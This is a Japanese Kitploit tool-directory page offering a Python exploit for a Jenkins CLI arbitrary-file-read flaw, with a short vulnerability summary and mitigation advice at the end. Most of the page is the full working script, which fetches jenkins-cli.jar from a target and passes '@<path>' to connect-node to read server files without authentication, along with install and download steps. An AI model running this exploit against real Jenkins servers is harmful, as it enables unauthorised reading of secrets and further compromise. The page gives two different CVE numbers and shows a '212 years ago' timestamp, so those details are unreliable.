Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-25897 — Jenkins を侵害する Python 製エクスプロイト | Kitploit
ツール/GitHubGitHub/i-100-user/cve-2024-25897
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHubi-100-user/cve-2024-25897

CVE-2024-25897

Jenkins を侵害する Python 製エクスプロイト

リポジトリを見る
212年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

banner

img1

パラメータ ip、puerto、ruta

img2

エクスプロイトの出力

img3

ヘルプパネル

エクスプロイトの説明

コードの説明をMarkdownで以下に示します。

コードの説明

このスクリプトは、Jenkins(CVE-2024-23897)の特定の脆弱性を悪用するために設計されています。JenkinsサーバーからJARファイルをダウンロードし、Jenkinsノードに接続するためのペイロードを実行します。以下、コードの各部分を説明します。

モジュールのインポート

root@kitploit:~
import argparse
import requests
import os
import subprocess
import sys
  • argparse: コマンドライン引数を処理するため。
  • requests: HTTPリクエストを行うため。
  • os: オペレーティングシステムと対話するため。
  • subprocess: システムコマンドを実行するため。
  • sys: Pythonインタプリタと対話するため。

banner 関数

root@kitploit:~
def banner():
    """
    ツールの装飾バナーを表示します。
    """
    text = """
   ______     _______     ____   ___ ____  _  _        ____  _____  ___  ___ _____       _            _    _           
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \| ___ / ( _ )/ _ \___  |     | | ___ _ __ | | _(_)_ __  ___ 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / /   _  | |/ _ \ '_ \| |/ / | '_ \/ __|
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/ ___) | (_) \__, |/ /   | |_| |  __/ | | |   <| | | | \__|
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____|____/ \___/  /_//_/     \___/ \___|_| |_|_|\_\_|_| |_|___/
 """
    print(text)

この関数はスクリプトの開始時に装飾バナーを表示します。

descargar_jar 関数

root@kitploit:~
def descargar_jar(ip, puerto):
    """
    指定されたJenkinsサーバーからjenkins-cli.jarファイルをダウンロードします。

    Args:
        ip (str): JenkinsサーバーのIPアドレス。
        puerto (str): Jenkinsサーバーのポート。

    Returns:
        bool: ダウンロード成功時はTrue、失敗時はFalse。
    """
    url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            with open('jenkins-cli.jar', 'wb') as archivo_jar:
                archivo_jar.write(response.content)
            return True
        else:
            print(f"\n[-] ファイルをダウンロードできませんでした。ステータスコード: {response.status_code}")
            return False
    except requests.RequestException as errorhttp:
        print(f"\n[-] リクエスト中にエラーが発生しました: {errorhttp}")
        return False

この関数は、指定されたIPアドレスとポートのJenkinsサーバーからjenkins-cli.jarファイルをダウンロードします。ダウンロードが成功するとファイルをシステムに保存しTrueを返し、それ以外の場合はFalseを返します。

attack_payload 関数

root@kitploit:~
def attack_payload(ip, puerto, ruta):
    """
    Jenkinsノードに接続するためのペイロードを実行します。

    Args:
        ip (str): JenkinsサーバーのIPアドレス。
        puerto (str): Jenkinsサーバーのポート。
        ruta (str): 読み取るファイルのパス。
    """
    archivo_jar = "jenkins-cli.jar"
    payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
    try:
        subprocess.run(payload, shell=True, check=True)
        os.remove(archivo_jar)
    except subprocess.CalledProcessError as error_payload:
        print(f"\n[-] ノード接続の試行中にエラーが発生しました: {error_payload}\n")

この関数はjenkins-cli.jarファイルを使用してJenkinsノードに接続するコマンドを実行します。コマンド実行後、JARファイルを削除します。実行中にエラーが発生すると、エラーメッセージを表示します。

main 関数

root@kitploit:~
def main():
    """
    引数を解析し、対応する関数を実行するメイン関数。
    """
    parser = argparse.ArgumentParser(description="\n[+] CVE-2024-23897を悪用するエクスプロイト\n")
    parser.add_argument("ip", type=str, help="\n[+] JenkinsサーバーのIPアドレス\n")
    parser.add_argument("puerto", type=str, help="\n[+] Jenkinsサーバーのポート\n")
    parser.add_argument("ruta", type=str, help="\n[+] 読み取るファイルのパス\n")
    args = parser.parse_args()

    ip = args.ip
    puerto = args.puerto
    ruta = args.ruta

    banner()

    if descargar_jar(ip, puerto):
        attack_payload(ip, puerto, ruta)
    else:
        sys.exit(1)

スクリプトのメイン関数:

  1. コマンドライン引数(ip、puerto、ruta)を解析します。
  2. banner関数を呼び出してバナーを表示します。
  3. descargar_jar関数を呼び出してJARファイルをダウンロードします。
  4. ダウンロードが成功した場合はattack_payload関数を呼び出してペイロードを実行し、失敗した場合は終了コード1でスクリプトを終了します。

スクリプトの実行

root@kitploit:~
if __name__ == '__main__':
    main()

このブロックは、スクリプトが直接実行された場合(モジュールとしてインポートされた場合ではない)にのみmain関数が実行されるようにします。

まとめ

このスクリプトは、Jenkinsの脆弱性を悪用するためのツールです。JenkinsサーバーからJARファイルをダウンロードし、そのファイルを使用してJenkinsノードに接続するペイロードを実行します。必要な引数(ip、puerto、ruta)はコマンドラインから指定します。

以下に必要なライブラリとpip installコマンドの一覧を示します。

必要なライブラリ

  • argparse: このライブラリはPython標準ライブラリに含まれているため、インストールは不要です。

  • requests: HTTPリクエストを行うため。

    root@kitploit:~
    pip install requests
    
  • os: このライブラリはPython標準ライブラリに含まれているため、インストールは不要です。

  • subprocess: このライブラリはPython標準ライブラリに含まれているため、インストールは不要です。

  • sys: このライブラリはPython標準ライブラリに含まれているため、インストールは不要です。

ライブラリのインストール

root@kitploit:~
pip install requests

CVE-2024-23897は、人気のCI/CD自動化ツールであるJenkinsに存在する脆弱性です。この脆弱性は、Jenkinsバージョン2.441以前、およびLTSバージョン2.426.2以前に影響します。

脆弱性の説明:

  • 影響を受ける機能: Jenkins CLIコマンドパーサー。
  • 問題: コマンド引数内の'@'に続くファイルパスをそのファイルの内容で置き換える機能が無効化されていない。
  • 影響: 認証されていない攻撃者が、Jenkinsコントローラのファイルシステム上の任意のファイルを読み取ることができる。
  • リスク: 攻撃者はJenkinsサーバーに保存された機密情報にアクセスできるため、システム全体のさらなる侵害につながる可能性がある。

悪用の例:

  1. 攻撃者が@/path/to/fileを含むCLIコマンドをJenkinsに送信する。
  2. Jenkinsのコマンドパーサーが@/path/to/fileを解釈し、指定されたファイルの内容でその引数を置き換える。
  3. 攻撃者は認証なしにファイルの内容を入手する。

緩和策:

  • Jenkinsをアップデートする: この脆弱性を修正した新しいバージョンをインストールする。
  • セキュリティ設定: Jenkins CLIへのアクセスを制限し、認証済みかつ信頼できるユーザーのみがこの機能を利用できるようにする。

Jenkinsを適切にアップデートし設定することは、この脆弱性からシステムを保護するために重要です。

Python Linux Icon

ツールをダウンロード